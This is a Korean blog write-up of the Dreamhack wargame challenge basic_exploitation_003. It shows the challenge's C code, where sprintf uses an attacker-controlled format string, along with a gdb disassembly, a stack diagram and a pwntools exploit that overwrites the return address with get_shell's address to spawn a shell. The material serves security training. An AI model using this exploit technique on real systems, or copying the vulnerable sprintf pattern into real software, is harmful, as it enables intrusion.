#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
위 코드는 문제에서 주어진 코드이다. 코드에 get_shell() 함수가 있으므로 get_shell 주소를 어딘가에 덮어씌우면 문제가 풀린다. 이전 문제들과는 다르게 제공된 공간보다 read 함수로 더 많이 읽어들여서 버퍼가 넘치는 방식은 불가능하다. read 함수로 heal_buf에 0x80 만큼 입력받고 0x90크기의 statk_buf로 복사하므로 일반적인 버퍼오버플로우 방식은 통하지 않는다.
문제의 핵심은 sprintf(stack_buf, heap_buf); 코드이다. sprintf(stack_buf, "%s", heap_buf); 와 같이 포맷스트링을 사용해야 하는데 개발자가 실수로 sprint(stack_buf, heap_buf)와 같이 작성하였다. 여기서 문제점은 heap_buf 문자열에 200%c 같은 문자열이 있다면 stack_buf는 200만큼의 문자열을 읽어들인다. stack_buf의 크기는 0x90으로 버퍼오버플로우가 발생한다.
Dump of assembler code for function main:
0x0804867c <+0>: push ebp
0x0804867d <+1>: mov ebp,esp
0x0804867f <+3>: push edi
0x08048680 <+4>: sub esp,0x94
0x08048686 <+10>: push 0x80
0x0804868b <+15>: call 0x8048490 <malloc@plt>
0x08048690 <+20>: add esp,0x4
0x08048693 <+23>: mov DWORD PTR [ebp-0x8],eax
0x08048696 <+26>: lea edx,[ebp-0x98]
0x0804869c <+32>: mov eax,0x0
0x080486a1 <+37>: mov ecx,0x24
0x080486a6 <+42>: mov edi,edx
0x080486a8 <+44>: rep stos DWORD PTR es:[edi],eax
0x080486aa <+46>: call 0x8048622 <initialize>
0x080486af <+51>: push 0x80
0x080486b4 <+56>: push DWORD PTR [ebp-0x8]
0x080486b7 <+59>: push 0x0
0x080486b9 <+61>: call 0x8048450 <read@plt>
0x080486be <+66>: add esp,0xc
0x080486c1 <+69>: push DWORD PTR [ebp-0x8]
0x080486c4 <+72>: lea eax,[ebp-0x98]
0x080486ca <+78>: push eax
0x080486cb <+79>: call 0x80484f0 <sprintf@plt>
0x080486d0 <+84>: add esp,0x8
0x080486d3 <+87>: lea eax,[ebp-0x98]
0x080486d9 <+93>: push eax
0x080486da <+94>: push 0x8048791
0x080486df <+99>: call 0x8048460 <printf@plt>
0x080486e4 <+104>: add esp,0x8
0x080486e7 <+107>: mov eax,0x0
0x080486ec <+112>: mov edi,DWORD PTR [ebp-0x4]
0x080486ef <+115>: leave
0x080486f0 <+116>: ret
End of assembler dump.
main 함수의 gdb 결과를 보면 stack_buf는 ebp에서 0x98만큼 떨어진 것을 알 수 있다. 현재 스택 구조는 아래와 같다.
+================+high
| |
| |
| main ret |
| main sfp |
| stack_buf |
| |
+================+low
stack_buf 크기는 0x98, 즉 152이고 sfp 4바이트 값은 필요없으므로 %156c을 입력하고 main ret에 get_shell 함수의 주소를 주입하면 쉘을 획득할 수 있다. exploit 코드는 아래와 같다.
from pwn import *
#r=process('./basic_rop_x86')
r=remote("host1.dreamhack.games",16356)
e=ELF('./basic_exploitation_003')
context.log_level='debug'
def main():
payload=b"%156c"
payload += p32(e.symbols['get_shell'])
r.send(payload)
r.interactive()
if __name__ == '__main__':
main()
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] basic_exploitation_002 (0) | 2021.07.17 |
---|---|
[Dreamhack] sint (0) | 2021.07.15 |
[Dreamhack] oneshot (0) | 2021.05.11 |
[Dreamhack] Off_by_one_001 (0) | 2021.05.07 |
[Dreamhack] basic_rop_x64 (0) | 2021.05.05 |
댓글